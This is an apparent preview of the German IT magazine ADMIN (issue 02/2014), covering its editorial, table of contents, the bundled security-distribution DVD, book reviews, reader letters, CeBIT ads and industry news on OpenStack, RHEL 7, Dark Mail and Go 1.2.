26.02.2014 Aufrufe

ADMIN Magazin Drahtlos glücklich - WLANs sicher nutzen mit IEEE 802.1x (Vorschau)

Erfolgreiche ePaper selbst erstellen

Machen Sie aus Ihren PDF Publikationen ein blätterbares Flipbook mit unserer einzigartigen Google optimierten e-Paper Software.

Jetzt<br />

<strong>mit</strong><br />

Office 365 in<br />

der Powershell<br />

<strong>ADMIN</strong><br />

IT-Praxis & Strategie<br />

<strong>WLANs</strong> <strong>sicher</strong> <strong>nutzen</strong> <strong>mit</strong> <strong>IEEE</strong> <strong>802.1x</strong><br />

Hadoop: Big<br />

Data für alle<br />

<strong>Drahtlos</strong><br />

<strong>glücklich</strong><br />

Cluster <strong>mit</strong> dem<br />

Windows Server<br />

< ••• >•••••••••••••• < •••><br />

NST 18<br />

Network Security Toolkit<br />

02/2014 Februar<br />

Docker<br />

Container-<br />

Virtualisierung<br />

im Aufwind<br />

Authentifizieren <strong>mit</strong> Freeradius<br />

WPA in Enterprise-Qualität<br />

Wifi-Einbruchstest<br />

Offene <strong>WLANs</strong><br />

OpenLDAP<br />

Großer Workshop zum<br />

Directory-Server<br />

NAS<br />

Netzwerk-Storage<br />

<strong>mit</strong> 10 GBit<br />

SmartOS<br />

Linux trifft Solaris<br />

www.admin-magazin.de<br />

Joblib<br />

Python parallelisiert<br />

D EUR 9,80<br />

A EUR 10,80 - BeNeLux EUR 11,25<br />

CH sfr 19,60 - E / I EUR 12,75<br />

4 196360 509805 02


Service<br />

Editorial<br />

3<br />

In der Gas-Ampel-Zeit<br />

Liebe Leserinnen und Leser,<br />

Es ist ja nicht das erste Mal. Das bislang letzte Mal ist sogar noch gar nicht<br />

lange her. Zumindest aus historischer Perspektive: Vor nur gut 100 Jahren<br />

hat zuletzt eine neue Technik den Alltag so grundlegend umgekrempelt wie<br />

heute das Internet. Damals war es das Auto.<br />

Erfunden im ausgehenden 19. Jahrhundert durchlebte es in den ersten<br />

Jahrzehnten des 20. eine turbulente Kindheit. Mit ihr begann das Zeitalter<br />

der Massenmobilität, der Welt als Dorf. Das Zeitalter des schnellen Gütertransports<br />

an Orte, die die Eisenbahn nicht erreichte. Das Zeitalter von Taxi<br />

und Omnibus. Schon Ende der 1920er Jahre gab es auf den Straßen West- und Mitteleuropas zum ersten<br />

Mal mehr Motorräder als Reitpferde, mehr Pkws als Kutschen, mehr Lkws als Fuhrwerke, mehr Autotaxis<br />

als Pferdedroschken und mehr Motoromnibusse als Pferdeomnibusse.<br />

Allerdings lebten die Verkehrsteilnehmer dieser Pionierzeit riskant, denn die technische Entwicklung<br />

vollzog sich schneller als die Gesellschaft sich daran anpassen konnte. So gab es anfangs nicht nur keine<br />

Kfz-Steuern und keine Autover<strong>sicher</strong>ungen, keine Tankstellen und kein Werkstättennetz, sondern auch<br />

keinen TÜV, keinen Führerschein und keine Straßenverkehrsordnung.<br />

Als einen Vorläufer des Verkehrsrechts hatte man 1865 in England den Red Flag Act erlassen, demzufolge<br />

zur Unfallprävention jedem der damals noch dampfgetriebenen Wagen ein Helfer <strong>mit</strong> roter Flagge<br />

vorauslaufen musste. Nur wenige Jahre später ging die erste Ampel in Betrieb. Mit Gaslicht betrieben explodierte<br />

sie nach kurzer Zeit und bekam erst 1912 ihre zweite Chance, nachdem sich die Elektrifizierung<br />

durchgesetzt hatte. Die anfängliche Anarchie hatte jedoch ihren Preis: Das Risiko, im Straßenverkehr zu<br />

sterben, war – gemessen am jeweiligen Kraftfahrzeugbestand – 1907 mehr als 60mal so hoch wie 100<br />

Jahre später.<br />

Wir kennen nun seit ein paar Jahrzehnten das Internet. Aber mir scheint, wir leben noch in der Gas-Ampel-Zeit.<br />

Die Technik ist uns einen Schritt voraus. Das Risiko, im Netz von Kriminellen beraubt oder von<br />

Kriminalern belauscht zu werden, ist enorm. Wesentliche Aspekte der Internet-Praxis sind noch immer<br />

unreguliert, es fehlen Normen und Gesetze für digitale Bürgerrechte, für Datenschutz und gegen Datenmissbrauch,<br />

im Urheberrecht, zur Sicherung der Netzneutralität und beim eGovernment. Gerade der<br />

Staat negiert seine Vorbildfunktion und lässt seine Sicherheitsorgane machen, was möglich ist.<br />

Dem Auto folgten nach gut drei Jahrzehnten nach und nach Fahrbahnmarkierungen, Signalanlagen, Geschwindigkeitsbegrenzungen,<br />

einheitliche Verkehrszeichen und festgeschriebene Verkehrsordnungen.<br />

Im Internet sind nun mindestens ebenso viele Jahre verstrichen. Es ist an der Zeit.<br />

@ leserbriefe@admin-magazin.de www.facebook.com/adminmagazin www.twitter.com/admagz<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 02-2014


Service<br />

4 Inhalt<br />

<strong>ADMIN</strong><br />

IT-Praxis & Strategie<br />

Wireless Security<br />

ab Seite 24<br />

n Login<br />

8 Bücher<br />

Steuerungstechnik und SDN.<br />

10 Leserbriefe<br />

E-Mails an die Redaktion.<br />

12 Branchen-News<br />

Neues von Software und Projekten.<br />

16 Admin-Story<br />

MongoDB und FreeIPA verbinden.<br />

n Netzwerk<br />

20 10-GBit-NAS<br />

NAS-Setup <strong>mit</strong> 10 GBit im Test.<br />

n Schwerpunkt<br />

24 Wireless Security<br />

Schwachstellen drahtloser Netze<br />

ausmerzen.<br />

28 WLAN-Grundlagen<br />

Sicherheit im WLAN: Fakten und<br />

Mythen.<br />

32 Freifunk und MobyKlick<br />

Öffentliche drahtlose Netzwerke in<br />

Deutschland.<br />

36 FreeRadius<br />

Authentifizierung zentralisiert.<br />

40 Anfällige WLAN-Router<br />

WLAN-Router für kleine Firmen<br />

und zu Hause sind durchweg<br />

un<strong>sicher</strong>.<br />

46 WLAN-Cracking<br />

WLAN-Sicherheit <strong>mit</strong> Python-Skripten<br />

erforschen.<br />

28<br />

WLAN-Grundlagen<br />

Wahrheit und Lüge bei der<br />

Ab<strong>sicher</strong>ung von <strong>WLANs</strong>.<br />

Service<br />

3 Editorial<br />

4 Inhalt<br />

6 Heft-DVD<br />

114 Impressum und <strong>Vorschau</strong><br />

Ausgabe 02-2014<br />

Admin<br />

www.admin-magazin.de


Service<br />

Inhalt<br />

5<br />

Neues beim verteilten<br />

58Ceph<br />

Dateisystem.<br />

Solaris trifft Linux: Virtualisierung<br />

<strong>mit</strong> 84SmartOS<br />

ZFS-Basis.<br />

Seite 6<br />

NST 18<br />

< ••• >•••••••••••••• < •••><br />

Network Security Toolkit<br />

n Know-how<br />

52 Windows-Cluster<br />

Cluster sind <strong>mit</strong> <strong>mit</strong> Windows Server<br />

2012 R2 schnell installiert.<br />

58 Ceph<br />

Wohin geht die Reise beim Ceph-<br />

Objectstore?<br />

64 Hadoop<br />

Verteilte Verarbeitung großer<br />

Datenmengen im Cluster.<br />

74 Powershell für Office 365<br />

Das Cloud-Büropaket Office 365<br />

<strong>mit</strong> der Powershell verwalten.<br />

n Basics<br />

78 Das »sar«-Tool in Linux<br />

Performancewerte über längere<br />

Zeit sammeln und auswerten.<br />

82 <strong>ADMIN</strong>-Tipps<br />

Die monatlichen Tipps der<br />

Redaktion.<br />

n Virtualisierung<br />

84 SmartOS<br />

Virtualisierungsplattform auf der<br />

Grundlage von Solaris und Linux-<br />

KVM.<br />

90 Docker<br />

Renaissance der Container-Virtualisierung<br />

<strong>mit</strong> Docker.<br />

n Programmieren<br />

96 Python-Joblib<br />

Die Joblib hilft, Python-Programme<br />

zu parallelisieren.<br />

100 Programmieren <strong>mit</strong> Go<br />

Mit Schleifen und Unicode zum<br />

eigenen Prozess-Tool<br />

n FreeX<br />

106 OpenLDAP<br />

Ausführlicher Workshop zum freien<br />

Directory-Server: Installation,<br />

Konfiguration und Integration <strong>mit</strong><br />

anderen Diensten.<br />

100Go<br />

Programmieren <strong>mit</strong> der<br />

Google-Sprache.<br />

74<br />

Office 365<br />

Powershell verwaltet<br />

das Cloud-Büropaket.<br />

Admin<br />

Ausgabe 02-2014


6<br />

Service<br />

Heft-DVD<br />

DVD kaputt?<br />

Wir schicken Ihnen kostenlos eine Ersatz-DVD<br />

zu. E-Mail genügt: info@admin-magazin.de<br />

Network Security Toolkit 18<br />

Heft-DVD<br />

Auf dem beiliegenden Datenträger finden Sie die Security-<br />

Distribution Network Security Toolkit.<br />

n Info<br />

Weiterführende Links und<br />

Informationen zu diesem<br />

Artikel finden Sie unter:<br />

www.admin-magazin.de/qr/31315<br />

n Security-Distribution basierend auf<br />

Fedora Linux<br />

n Live-DVD oder Installation<br />

n Webserver-Testing<br />

n Passwort-Cracker und<br />

-Generatoren.<br />

n Virenscanner<br />

n Crypto-Programme<br />

n Wireless-Tools<br />

n Geolocation für Netzwerkdaten<br />

Legen Sie einfach die DVD in das Laufwerk<br />

ein und starten Sie den Rechner.<br />

Möglicherweise müssen Sie noch im<br />

BIOS die richtige Boot-Reihenfolge<br />

einstellen. Danach können Sie die<br />

Security-Distribution starten oder auf<br />

dem Rechner als Betriebssystem installieren.<br />

n<br />

Bram janssens, 123RF<br />

Ausgabe 02-2014 Admin www.admin-magazin.de


8<br />

Login<br />

Bücher<br />

Galina Peshkova, 123RF<br />

Neue Bücher zur Feedback-Steuerung und zu Software-definierten Netzwerken<br />

Vorgelesen<br />

Diesen Monat im Buchstabentest: Steuerungstechnik für Computer<br />

und Software-definiertes Networking Oliver Frommel, Carsten Schnober<br />

Die Kontrolltheorie befasst sich <strong>mit</strong> der<br />

Steuerung und Optimierung automatischer<br />

Abläufe. Sie spielt beispielsweise<br />

bei der Regulierung von Heiz- und Kühlsystemen,<br />

automatischer<br />

Geschwindigkeitsanpassung<br />

von Autos und bei<br />

der Fließbandproduktion<br />

eine wichtige Rolle. In der<br />

Software-Technik kommen<br />

oft die gleichen Methoden<br />

etwa beim Caching und in<br />

Server-Farmen zur Regulierung<br />

der eingesetzten<br />

Rechner zum Zuge.<br />

Feedback Control, zu deutsch etwa die<br />

Rückkopplungskontrolle, bildet eine<br />

wichtige Komponente in der Optimierung<br />

solcher automatischen Abläufe.<br />

Das im O’Reilly-Verlag bisher nur auf<br />

Englisch erschienene Buch „Feedback<br />

Control for Computer Systems“ von<br />

Philipp K. Janert führt auf 300 Seiten in<br />

die Konzepte der Kontrolltheorie ein.<br />

Zunächst zeigt der Autor anhand von<br />

Beispielfällen, wie sich einzelne Parameter<br />

der eingesetzten Algorithmen<br />

auswirken und wie sich diese optimieren<br />

lassen. Beispiele aus der realen<br />

Welt verdeutlichen die Effekte, die auch<br />

n Feedback Control<br />

Philipp K. Janert<br />

Feedback Control for Computer Systems<br />

– Introducing Control Theory to<br />

Enterprise Programmers<br />

O’Reilly, 327 Seiten<br />

24,50 Euro (eBook: 17,99 Euro)<br />

ISBN: 978-1-4493-6169-3<br />

in Software-Systemen auftreten. Worker<br />

Queues (Arbeitsschlangen) etwa<br />

können aus theoretischer Perspektive<br />

aus echten Arbeitern wie aus Worker-<br />

Prozessen bestehen.<br />

Auf die Theorie des ersten<br />

Teils folgt im zweiten Teil die<br />

Praxis, die typische Softwaretechnische<br />

Probleme löst. Im<br />

dritten Teil veranschaulichen<br />

zahlreiche Anwendungsbeispiele<br />

<strong>mit</strong> vollständigen<br />

Beschreibungen und gut dokumentierten<br />

Python-Implementationen<br />

die Lösungen.<br />

SDN<br />

Und die Welle rollt weiter. Nachdem<br />

„Compute“ und „Storage“ weitgehend<br />

virtualisiert sind, steht als nächstes<br />

das Netzwerk an: „Software<br />

Defined Networking“. Ein Buch<br />

des O’Reilly-Verlags nimmt sich<br />

des Themas an und gibt einen<br />

Einblick in ein Gebiet, das sich<br />

in rasanter Entwicklung befindet.<br />

Die Autoren arbeiten beide<br />

beim Router-Hersteller Juniper<br />

und verfügen so über Praxisund<br />

Gremienerfahrung.<br />

Zuerst geben sie einen Überblick über<br />

grundsätzliche Aufgaben eines SDN-<br />

Stacks: Aufteilung in Control- und Data-<br />

Plane sowie das Management über<br />

standardisierte Protokolle und APIs.<br />

Auch die Probleme beschreiben die Autoren:<br />

Schwierigkeiten bei der Autokonfiguration<br />

eines Software-definierten<br />

Netzes, Ausfall<strong>sicher</strong>heit und Loadbalancing<br />

auf der Management-Seite.<br />

Im Mittelpunkt steht zunächst der<br />

OpenFlow-Standard, um den sich die<br />

Open Networking Foundation kümmert,<br />

der aber nach Meinung der Autoren<br />

nicht frei von Problemen ist. Eine<br />

Working Group arbeitet an einer Erweiterung<br />

des Standards namens FAWG,<br />

aber das ist noch nicht abgeschlossen.<br />

Dann gehen die Autoren die SDN-Controller<br />

der führenden Anbieter durch:<br />

VMware/​Nicira, Big Switch, Juniper<br />

und Cisco, aber auch die Open-Source-<br />

Software vSwitch. In Wort und Bild<br />

stellen die Autoren die Ansätze einer<br />

theoretischen Ideallösung gegenüber,<br />

was zur Orientierung durchaus sinnvoll<br />

ist. Im Programmierteil stellt das Buch<br />

verschiedene Techniken vor, das Netzwerk<br />

per Code zu verwalten. Hier geht<br />

es bunt durcheinander und Formate<br />

wie JSON und XMPP stehen neben<br />

einem Framework wie Cloudstack. Weitere<br />

Kapitel beschäftigen sich <strong>mit</strong> der<br />

Datacenter-Technologie.<br />

Ist man <strong>mit</strong> dem Buch<br />

fertig, schwirrt einem der<br />

Kopf angesichts der Vielzahl<br />

verschiedener Technologien,<br />

Akronyme und<br />

komplexer Diagramme.<br />

Es von vorne bis hinten<br />

durchzulesen, erscheint<br />

wenig sinnvoll. Eher ist es<br />

für Leser gedacht, die sich gezielt über<br />

die Grundlagen von SDN und einzelne<br />

Ansätze dazu informieren wollen. n<br />

n SDN<br />

Thomas D. Nadeau, Ken Gray<br />

SDN – Software Defined Networks<br />

O’Reilly, 384 Seiten<br />

37,95 Euro<br />

ISBN-10: 1449342302<br />

Ausgabe 02-2014 Admin www.admin-magazin.de


Expert Panel<br />

Mobile Enterprise<br />

10.–14.03.2014<br />

Mobility-Trends der Unternehmens-IT<br />

Tägliches Vortragsprogramm<br />

Themenhighlights:<br />

Vorträge und Podiumsdiskussionen zu Mobile Strategy, Mobile Device Management,<br />

Mobile Security, Mobile Lösungen zu CRM / ERP / BI / Office, Service, Instandhaltung,<br />

Logistik, Softwareentwicklung & Systemintegration, u.v.m.<br />

www.cebit.de/de/mobile-enterprise<br />

Powered by<br />

Presented by<br />

pluspol.de<br />

Marketing Kommunikation Internet


Login<br />

10 Leserbriefe<br />

Leser-Feedback<br />

Leserbriefe<br />

Haben Sie Anregungen, Kritik oder Kommentare? Dann schreiben Sie an leserbriefe@admin-magazin.de.<br />

Die Redaktion behält es sich vor, die Zuschriften und Leserbriefe zu kürzen. Sie veröffentlicht alle Beiträge<br />

<strong>mit</strong> Namen, sofern der Autor nicht ausdrücklich Anony<strong>mit</strong>ät wünscht.<br />

Pavel Ignatov, 123RF<br />

Landscape<br />

Danke für den Artikel über Landscape;<br />

so kriegt man auch mal einen Einblick,<br />

was man für sein Geld so bekommen<br />

würde. Allerdings finde ich es sehr<br />

schade, dass Landscape (bisher?) nur<br />

<strong>mit</strong> Ubuntu funktioniert, da wäre mir in<br />

größeren Umgebungen die Gefahr von<br />

einem Vendor-Lock-In zu groß! Außerdem<br />

ist der Preis zu hoch, wenn man<br />

die anderen Services von Advantage<br />

nicht braucht.<br />

Red Hat bietet <strong>mit</strong> Spacewalk beispielsweise<br />

eine freie Variante von Satellite/​<br />

Red Hat Network an, quasi das Konkurrenzprodukt<br />

zu Landscape und Advantage<br />

von Red Hat. Da<strong>mit</strong> kann man<br />

sich theoretisch kostenlos ein eigenes<br />

Red Hat Network bauen. Andererseits<br />

fand ich die Installation und Konfiguration<br />

von Spacewalk bei meinen ersten<br />

Versuchen da<strong>mit</strong> so umständlich und<br />

schlecht dokumentiert, dass es wohl<br />

auch nicht wirklich als Alternative<br />

taugt.<br />

Charlotte S. (per E-Mail)<br />

Für Kommentare und Anregungen können Sie<br />

<strong>mit</strong> der Redaktion auch über die Facebook- und<br />

Google+-Seiten in Kontakt treten, die Sie unter<br />

[http:// facebook. com/ adminmagazin] und<br />

[http://google.com/+Admin-magazinDe] finden.<br />

vCenter 5.5 und Linux<br />

12/​2013, Seite 100: Erst mal ein Lob für<br />

die tolle Mischung im <strong>ADMIN</strong>-<strong>Magazin</strong>.<br />

Die Gewichtung zwischen Linux, Windows<br />

und dem Rest passt gut.<br />

Da wir intensiv Linux (OES, eDirectory)<br />

<strong>nutzen</strong>, ist die Administration von VMware<br />

immer ein Problem gewesen. VMware<br />

Server 2.0 war über den Browser<br />

bedienbar, danach kam lange nichts<br />

mehr. vCenter 5.0 war da ein Leuchtstern<br />

am Himmel, da es sich <strong>mit</strong> Firefox<br />

ESR unter SLED 11 SP3 bedienen ließ.<br />

vCenter 5.5 erfordert dagegen Adobe<br />

Flash 10.5 und neuer! Bekanntlich ist<br />

die Entwicklung für Linux und Solaris<br />

<strong>mit</strong> 10.2 beendet. Dass VMware so ein<br />

tolles Produkt <strong>mit</strong> dem dusseligen<br />

Flash programmiert, ist ganz schlimm.<br />

Der einzige mir bekannte Ausweg ist<br />

die Nutzung von Chrome, da Google ein<br />

Abkommen <strong>mit</strong> Adobe hat. Auch Chromium<br />

geht nicht.<br />

Leider ist die Nutzung des aktuellen<br />

Chrome unter Suse Linux Entperise<br />

Server und Desktop 11 wegen nicht aufgelöster<br />

Abhängigkeiten nicht möglich.<br />

Das ist ein Rückschritt. Chrome Portable<br />

<strong>mit</strong> Wine, alte Chrome-Versionen<br />

und andere Versuche haben nur Zeit<br />

gekostet, aber keine Lösung gebracht.<br />

Jetzt muss ich doch wieder auf eine<br />

Windows-7-VM unter VirtualBox zurückgreifen.<br />

Mit Ubuntu 12.04 und neuer ist<br />

das natürlich kein Problem.<br />

Daher mein Wunsch: Im Artikelfazit<br />

sollte auch auf die Probleme <strong>mit</strong> unserem<br />

geliebten Linux eingegangen<br />

werden, wenn es dazu eine Verbindung<br />

gibt.<br />

Armin Geyer, Bundeszentrale für gesundheitliche<br />

Aufklärung<br />

Vielen Dank für das Feedback! Ich finde<br />

es auch äußerst un<strong>glücklich</strong>, dass<br />

vCenter eine aktuelle Flash-Version voraussetzt,<br />

die überhaupt nicht auf jeder<br />

Plattform un<strong>mit</strong>telbar zur Verfügung<br />

steht. Auch die von Ihnen geschilderten<br />

Folgeprobleme sind leider einigermaßen<br />

typisch. Das ist bedauerlicherweise auch<br />

der Grund, aus dem wir keine allgemeine<br />

Lösung anbieten können, da sich<br />

ein Artikel hoffnungslos in den Problemen<br />

<strong>mit</strong> Bezug auf Linux/​Ubuntu/​SLES,<br />

Chrome/​Firefox/​Chromium und vermutlich<br />

vielen weiteren verzetteln würde.<br />

Wie Sie bereits schreiben, hängen die<br />

Lösungswege von so vielen Parametern<br />

ab, dass der eigentliche Kern des Artikels<br />

da<strong>mit</strong> nur noch am Ende in Beziehung<br />

steht. (Carsten Schnober)<br />

@ leserbriefe@admin-magazin.de www.facebook.com/adminmagazin www.twitter.com/admagz<br />

Ausgabe 02-2014 Admin www.admin-magazin.de


Special Conference:<br />

Open Source *<br />

* Früher: Forum Open Source<br />

10.–14.03.2014<br />

In Halle 6!<br />

Tägliches Vortragsprogramm<br />

Hintergrundinformationen aus erster Hand<br />

Themenhighlights:<br />

Automation / Konfigurationsmanagement, Security / Privacy,<br />

Cloud Computing / Virtualisierung, Treiber / Kernel, ARM-Architektur<br />

Auf der Bühne: Hochkarätige Vertreter der Open-Source-Szene, u.a.<br />

Klaus Knopper,<br />

KNOPPER.NET<br />

Jon „maddog“ Hall,<br />

Linux International<br />

Jim Lacey,<br />

Linux Professional<br />

Institute<br />

Änderungen vorbehalten.<br />

Powered by<br />

www.cebit.de/de/open-source<br />

Presented by<br />

pluspol.de<br />

Marketing Kommunikation Internet


12<br />

Login<br />

News<br />

Neue Software und Produkte<br />

Branchen-News<br />

Oracle ist OpenStack-Sponsor<br />

Oracle hat bekanntgegeben, dass es von nun an die OpenStack<br />

Foundation sponsern will und OpenStack in eine Vielzahl eigener<br />

Produkte zu integrieren gedenkt. Namentlich in Oracle Solaris,<br />

Oracle Linux, Oracle VM, Oracle Virtual Compute Appliance, Oracle<br />

Infrastructure as a Service, Oracle's ZS3 Series, Axiom Storage<br />

Systems und StorageTek Tape Systems will Oracle OpenStack integrieren.<br />

Darüber hinaus wird eine Kompatibilität <strong>mit</strong> Oracle Exalogic<br />

Elastic Cloud, Oracle Compute Cloud Service und Oracle Storage<br />

Cloud Service angestrebt. Weiter soll der OpenStack Object Storage<br />

Swift <strong>mit</strong> Storage Cloud Service kompatibel werden und über Open-<br />

Stack-APIs soll man dann auf ZFS Appliances, Pillar Axiom Storage<br />

Systems und StorageTek-Lösungen zugreifen können.<br />

Valve und Cloudius werden Mitglied<br />

der Linux Foundation<br />

Der Spielehersteller Valve ist nun Mitglied der Linux Foundation,<br />

die als nicht gewinnorientierte Einrichtung die Entwicklung<br />

des Linux-Kernels fördert. Valve, das <strong>mit</strong> Half Life<br />

seinen größten Erfolg feierte, arbeitet unter anderem an<br />

einer neuen Spielkonsole namens SteamOS, die auf Linux<br />

basiert. Firmenchef Gabe Newell hatte bereits bei der Vorstellung<br />

von Windows 8 seinen Unmut über das neue Windows-Betriebssystem<br />

geäußert und angekündigt, künftig<br />

stärker auf Linux zu setzen. Mittlerweile wurde dieser Plan<br />

in die Tat umgesetzt, indem Valve seine Spiele-Distributionsplattform<br />

Steam auf Linux portiert hat. Mit SteamOS<br />

soll dieses Engagement noch weiter ausgebaut werden.<br />

Trotz vieler positiver Stimmen aus der Linux-Welt findet<br />

Steam allerdings bisher nur wenig Zuspruch: Derzeit macht<br />

der Linux-Anteil der Steam-Benutzer nur etwa ein Prozent<br />

aus. Dies liegt vermutlich aber auch daran, dass bisher<br />

nur vergleichsweise wenige Spiele auch auf Linux portiert<br />

wurden.<br />

Neben Valve durfte die Linux Foundation auch die Firma<br />

Cloudius als neues Mitglied begrüßen, die sich zum Großteil<br />

aus Linux-Kernel-Entwicklern zusammensetzt. Allerdings<br />

ist deren Produkt kein klassisches Linux-System, sondern<br />

ein neues Betriebssystem namens OS v , das unter anderem<br />

auf FreeBSD basiert. OSv ist als minimalistisches System<br />

für Cloud-Systeme gedacht, funktioniert <strong>mit</strong> KVM und VMware<br />

und will den Overhead eines klassischen Betriebssytems<br />

reduzieren.<br />

OpenNebula 4.4 <strong>mit</strong> Storage<br />

Loadbalancing<br />

Die neuste Version 4.4 des Cloud-Computing-Framework OpenNebula<br />

erlaubt es, das für eine Cloud-Installation verfügbare Storage aufzuteilen<br />

und so<strong>mit</strong> mehr Speicher zur Verfügung zu stellen, wenn er knapp<br />

wird. Außerdem lässt sich der Speicher <strong>mit</strong> dem neuen Mechanismus<br />

über mehrere Knoten verteilen.<br />

Für die Überwachung einer <strong>mit</strong> OpenNebula aufgebauten Cloud bietet<br />

die Software nun ein Push- statt des gewohnten Pull-Modells. Die Knoten<br />

senden also von selbst über das UDP-Protokoll ihre Daten an das<br />

Monitoring-System. Dies soll für bessere Performance sorgen, vor allem<br />

in Clouds <strong>mit</strong> einer Vielzahl von Nodes. In einem Test, der im OpenNebula-Blog<br />

präsentiert wird, haben die Entwickler da<strong>mit</strong> alle zwei Minuten<br />

die überwachten Daten von 25 000 Knoten bezogen.<br />

Red Hat Enterprise Linux 7 Beta<br />

Nur drei Wochen nach der Veröffentlichung von<br />

Red Hat Enterprise Linux 6.5 (RHEL) hat Red<br />

Hat die erste Beta der Nachfolgeversion 7.0<br />

veröffentlicht. Sie verbessert unter anderem<br />

die Unterstützung für Linux-Container, in denen<br />

Anwendungen etwa <strong>mit</strong> Docker in isolierten<br />

Umgebungen laufen. Weiterhin enthält<br />

RHEL 7.0 das Dateisystem BtrFS als „Technology<br />

Preview“; Standarddateisystem bleibt<br />

XFS, das jetzt bis zu 500 TByte große Partitionen unterstützt. Auch die<br />

Zusammenarbeit <strong>mit</strong> Windows in heterogenen Umgebungen soll RHEL<br />

7.0 erleichtern. Dazu dient insbesondere die Integration von Samba 4.1<br />

<strong>mit</strong> Active-Directory-Unterstützung.<br />

Die Beta-Version von Red Hat Enterprise Linux 7.0 steht ab sofort zur<br />

Verfügung. Bestandskunden von Red-Hat können sie direkt herunterladen,<br />

andere müssen zunächst den Zugang beantragen.<br />

Ausgabe 02-2014 Admin www.admin-magazin.de


Neue Storage-Arrays von Dell<br />

Die Flash-fähigen Storage-Arrays Dell EqualLogic PS6210<br />

bieten eine bis zu dreimal höhere Performance als frühere<br />

Produktgenerationen. Die insgesamt sechs Modelle des neuen<br />

Storage-Arrays, darunter All-Flash-, hybride und All-HDD-Optionen,<br />

bieten <strong>mit</strong> einem leistungsfähigeren Storage-Controller<br />

einen erhöhten Datendurchsatz, eine bis zu dreimal höhere<br />

Performance und viermal mehr Speicher als frühere Produktgenerationen.<br />

Die Flash-fähigen Arrays können bis zu 2,4 Mal so viele virtuelle<br />

Desktops unterstützen und bieten eine doppelt so hohe<br />

OLTP-Datenbankleistung bei einer halb so hohen Latenz wie<br />

frühere Array-Generationen. Mit der skalierbaren Architektur<br />

können Unternehmen Ein- und Ausgabeengpässe minimieren<br />

und sind in der Lage, sehr große Datenmengen <strong>mit</strong> Flashfähigen<br />

SANs zu verarbeiten, die bis zu 1,2 Millionen IOPS bei<br />

einer Latenzzeit von weniger als zwei Millisekunden erreichen<br />

können.<br />

Die neue Version der Array-Software Dell-EqualLogic-Array-<br />

Software 7.0 bietet eine überarbeitete Bedienoberfläche,<br />

vereinfacht das Speichermanagement und besitzt neue regelbasierte<br />

Zugriffsmechanismen.<br />

Crowdfunding für Dark Mail<br />

erfolgreich<br />

Dark Mail heißt das Projekt, in dem sich einige Experten für<br />

abhör<strong>sicher</strong>e E-Mail zusammengetan haben. Unter dem<br />

Schlagwort „E-Mail 3.0“ wollen sie als Konsequenz aus dem<br />

Abhörskandal rund um das Prism-Programm des US-Geheimdienstes<br />

NSA der Netzgemeinde einen E-Mail-Dienst <strong>mit</strong> Endezu-Ende-Verschlüsselung<br />

anbieten.<br />

Der Hauptinitiator für Dark Mail, Lavabit, hatte seinen Dienst<br />

dieses Jahr eingestellt, um einer Anordnung zur Kooperation<br />

<strong>mit</strong> dem Geheimdienst beim Abhören seiner Kunden bei<br />

gleichzeitigem Stillschweigen zuvorzukommen. Prominentester<br />

Nutzer von Lavabit war Edward Snowden, der den Prism-<br />

Skandal an die Öffentlichkeit gebracht hatte.<br />

Zur Finanzierung der abhör<strong>sicher</strong>en E-Mail 3.0 hat Lavabit eine<br />

Crowdfunding-Kampagne ins Leben gerufen. Etwa 200 000<br />

US-Dollar (knapp 150 000 Euro) setzten die Initiatoren als<br />

Finanzierungsziel an, die Community hat diese Grenze nun<br />

geknackt.<br />

Mit dem Geld will die Dark-Mail-Initiative Programmierer anheuern,<br />

die das Dark-Mail-Protokoll implementieren und als<br />

freie, quelloffene Software veröffentlichen. Das intern bereits<br />

existierende Programm Magma unterstützt die Mail-Protokolle<br />

SMTP, POP3 sowie IMAP4 und ist auch per HTTP über eine<br />

JSON-Schnittstelle zugänglich.<br />

Neben erhöhter Sicherheit auf der Basis von PGP-Verschlüsselung<br />

soll auch Benutzerfreundlichkeit eine wichtige Rolle<br />

spielen: Clients für verschiedene Betriebssysteme, auch für<br />

Smartphones und Tablets, sollen <strong>mit</strong> Dark Mail auch technisch<br />

weniger versierten Nutzern Zugang zur <strong>sicher</strong>en E-Mail ermöglichen.


14<br />

Login<br />

News<br />

Go 1.2 hilft bei testgetriebener und nebenläufiger Entwicklung<br />

Nach sieben Monaten Arbeit veröffentlichen die Entwickler<br />

der ursprünglich im Hause Google angestoßenen Programmiersprache<br />

Go ihre neue stabile Version 1.2. Diesen<br />

Rhythmus wollen die Go-Entwickler von nun an zumindest<br />

ungefähr einhalten und lange Release-Lücken wie die vierzehn<br />

Monate zwischen Go 1.0 und 1.1 künftig verhindern.<br />

Insgesamt enthält die neue Go-Version 1600 Änderungen,<br />

eingebracht von 116 Entwicklern.<br />

In Sachen Syntax haben die Entwickler in Go 1.2 unter anderem<br />

den Umgang <strong>mit</strong> nil-Pointern überarbeitet: Inkorrekte<br />

Speicherzugriffe lösen nun zuverlässig eine Panic aus, das<br />

Go-Pendant zu den Exceptions anderer Sprachen. Daneben<br />

lassen sich Slices nun <strong>mit</strong> drei statt nur zwei Indizes initialisieren,<br />

um <strong>mit</strong> dem dritten Index direkt die Slice-Kapazität zu<br />

definieren.<br />

Testgetriebene Entwicklung vereinfacht Go 1.2 <strong>mit</strong> der Einführung<br />

des »‐cover«-Flag für den »go test«-Befehl. Sie untersucht<br />

automatisch die Abdeckung des Quellcodes durch eine<br />

Test-Suite.<br />

Daneben haben die Go-Entwickler Performance-Verbesserung<br />

bei der Verwendung von Goroutines erzielt, den<br />

sogenannten leichtgewichtigen Threads der Sprache. Ein<br />

verbesserter Scheduler verhindert, dass einzelne Goroutines,<br />

die nicht enden, einen kompletten Thread lahmlegen<br />

können. Des Weiteren lässt sich die Höchstzahl erlaubter<br />

Threads eines Programms begrenzen, um eine Überlastung<br />

des Systems zu verhindern. Go-Einsteiger können die neue<br />

Version bereits auf dem Go Playground ausprobieren [1]. Wer<br />

ganz neu ist, kann auch eine einführende Tour [2] durch die<br />

Sprache machen.<br />

Google macht Konkurrenzprodukt zu Amazon Web Services öffentlich<br />

Der Suchmaschinenhersteller Google<br />

hat bekanntgegeben, dass sein Service<br />

Google Compute Engine ab sofort der<br />

Öffentlichkeit zur Verfügung steht;<br />

bislang konnten ihn nur ausgewählte<br />

Teilnehmer <strong>nutzen</strong>. Der Dienst steht<br />

in direkter Konkurrenz zum Amazon-<br />

Service AWS; beide bieten virtuelle Maschinen<br />

<strong>mit</strong> variabel konfigurierbarer<br />

Ausstattung an.<br />

Die Maschinen der Google Compute<br />

Engine verfügen über Prozessoren<br />

<strong>mit</strong> bis zu 16 Kernen und maximal 104<br />

